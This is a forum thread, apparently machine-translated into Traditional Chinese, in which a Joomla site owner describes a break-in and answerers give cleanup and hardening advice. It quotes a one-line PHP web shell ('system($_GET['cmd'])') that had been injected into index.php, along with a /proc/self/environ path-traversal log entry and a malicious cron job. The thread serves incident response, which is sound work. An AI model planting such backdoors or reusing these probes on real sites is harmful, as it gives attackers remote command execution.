使用 ?cmd=ls 入侵網站
我執行的一個 Joomla 網站前幾天被黑了。黑客將一些文件放到了 tmp 目錄中,並以某種方式在那裡執行了一個 HTTP 守護程序(至少這是我的主機告訴我的)。無論如何,我一直在嘗試清理他們留下的文件並儘可能確保安全,但在檢查我的日誌時,我注意到
www.domain.com/?cmd=ls
. 這對我來說似乎很奇怪,所以我試了一下……你瞧,它列出了我網站根目錄中的所有文件。有人可以向我解釋為什麼會發生這種情況以及我如何阻止它嗎?這似乎是一個巨大的漏洞,我想立即消除它。更新:在探勘中,我注意到在我的 Joomla index.php 中添加了一些額外的行:
if ($_GET['cmd']!=null) { system($_GET['cmd']); }
我已經刪除了這些,但很想知道攻擊者是如何設法編輯這些的。不確定在哪裡尋找以確保我已經關閉了任何後門。
更多更新:首先讓我說是的,我意識到這裡正確的做法是將站點炸毀並從備份中恢復。但是我寧願把它作為最後的手段,因為(a)它是一個依賴於社區貢獻的網站,我的備份不是最近的(我知道我的錯)和(b)我正在開發一個新的應該很快準備好的版本。但由於我似乎在這裡得到了一些幫助,我將添加一些我發現/所做的其他事情,以試圖解決這種情況。
在我的 /tmp 文件夾中找到了一些 .kin (或類似的東西 - 沒有記下它並立即將其刪除)目錄,這顯然是這個 http 守護程序執行的地方。我假設 gunzip(下面提到)是如何放置在這裡的。
在我的 error_log 文件中,我發現了以下可疑條目(“…”是我試圖從這篇文章中刪除路徑/文件名):
[04-Jul-2010 09:45:58] PHP Fatal error: Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24 [05-Jul-2010 12:31:30] PHP Notice: Undefined index: HTTP_USER_AGENT in ... on line 92 [04-Jul-2010 06:41:52] PHP Warning: rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719
我更新了 CKForms 組件(在我執行的版本中被列為具有已知漏洞利用),以及 HTTP_USER_AGENT 消息中列出的另一個組件。
在我的統計日誌中,我發現同一個 IP 地址嘗試了 ?cmd=ls 兩次,所以我阻止了該 IP(在印度尼西亞的某個地方)。
我將我的 Joomla 安裝更新到了最新版本。
我在我的根目錄中找到了 system.ph 和 system.php 文件,它們有一個 gunzip/base64 編碼的字元串,我將其刪除。
我已經瀏覽了安裝中時間戳最近的所有目錄,以查看是否存在任何異常文件。
刪除了一個指向 …/tmp/.kin/up2you >/dev/null 2>&1 的 cron 作業
另外,我擔心即使我確實從備份中恢復,使用的任何漏洞仍然存在,所以根本原因和預防才是我真正想要的。
我強烈不同意 Chris S 的說法,即所有文件/目錄都應該歸 root 所有。Unix權限系統是有原因的。
執行 Apache/PHP 有兩種基本方法。一種是以 www-data 使用者身份執行它,並讓文件歸非 root 使用者名所有。Apache 作為低權限帳戶執行,並且必須被授予對特定目錄/文件的訪問權限才能寫入它們。這就是為什麼 Joomla 有 ftp 層來彌補這一點。但是,在共享伺服器環境中,所有文件都必須是全球可讀的這一事實使得該機器上其他站點的配置文件很容易讀取。
另一種方法是使用執行 suPHP 的 PHP 執行 Apache,這是 CPanel 更喜歡的。在這種情況下,Apache 以低權限使用者身份執行,但是,所有 PHP 請求都被交給一個腳本,該腳本將所有權更改為擁有文件的使用者名。雖然您現在可以使用 Unix 權限來阻止電腦上的其他惡意腳本瀏覽您的目錄,但任何受到攻擊的 PHP 腳本都可以作為您的使用者名執行,因此可以修改/破壞您的使用者名擁有的任何文件。
由於您不精通伺服器安全性,因此在電腦上找到隱藏良好的 rootkit 等並不是一件有趣的任務。首先,您必須知道核心是否可利用(除非您執行的是最新的核心,否則這裡的答案是肯定的),以及是否有任何東西受到影響。這種特殊的黑客攻擊通常通過受感染的 FTP 帳戶發生,此時他們能夠執行腳本。既然您找到了該程式碼,這也表明使用它的“黑客”不是很老練。他可以通過多種方式隱藏該程式碼並阻止您的日誌看到他在做什麼。
mojah 是正確的。一旦他們進入,他們會嘗試從 /dev/shm/.something 或 /tmp 執行連接到他們的 IRC 網路的腳本,或者充當 undernet 或其他競爭網路上的接管機器人。您可能會發現一兩個腳本正在執行,也許是一個用於重新啟動它的 cron 條目,以及在整個 Joomla 安裝過程中隱藏的其他遠端 shell。在 /uploads 或 /images 目錄中查找與現有文件類似的文件。即img_1034.jpg.php。他們通常會將他們的 irc 機器人隱藏在網路無法訪問的多個地方,這樣您在登錄時就不會偶然發現它們,但是,他們會將他們的遠端 shell 藏在一些地方,以便他們可以重新進入並重新執行他們的腳本並讓它重新連接到他們的網路。
無論如何,您面臨的任務有些棘手。您有一個需要保持線上的網站,您缺乏在這些情況下的一些經驗,並且您只想讓您的網站正常工作。
通過 Joomla 的導出功能對您的數據庫進行轉儲,確保它是完整的轉儲。創建第二個站點並導入轉儲以驗證它。一旦您確定您有一個良好的、可導入的轉儲,請備份該站點。刪除所有文件,重新安裝 Joomla,基本安裝,使用現有的 MySQL 連接資訊 - 它可能認為您正在升級,在這種情況下允許它升級。如果你在某個地方的 VPS 上,也許讓他們給你一個新的圖像並重新安裝。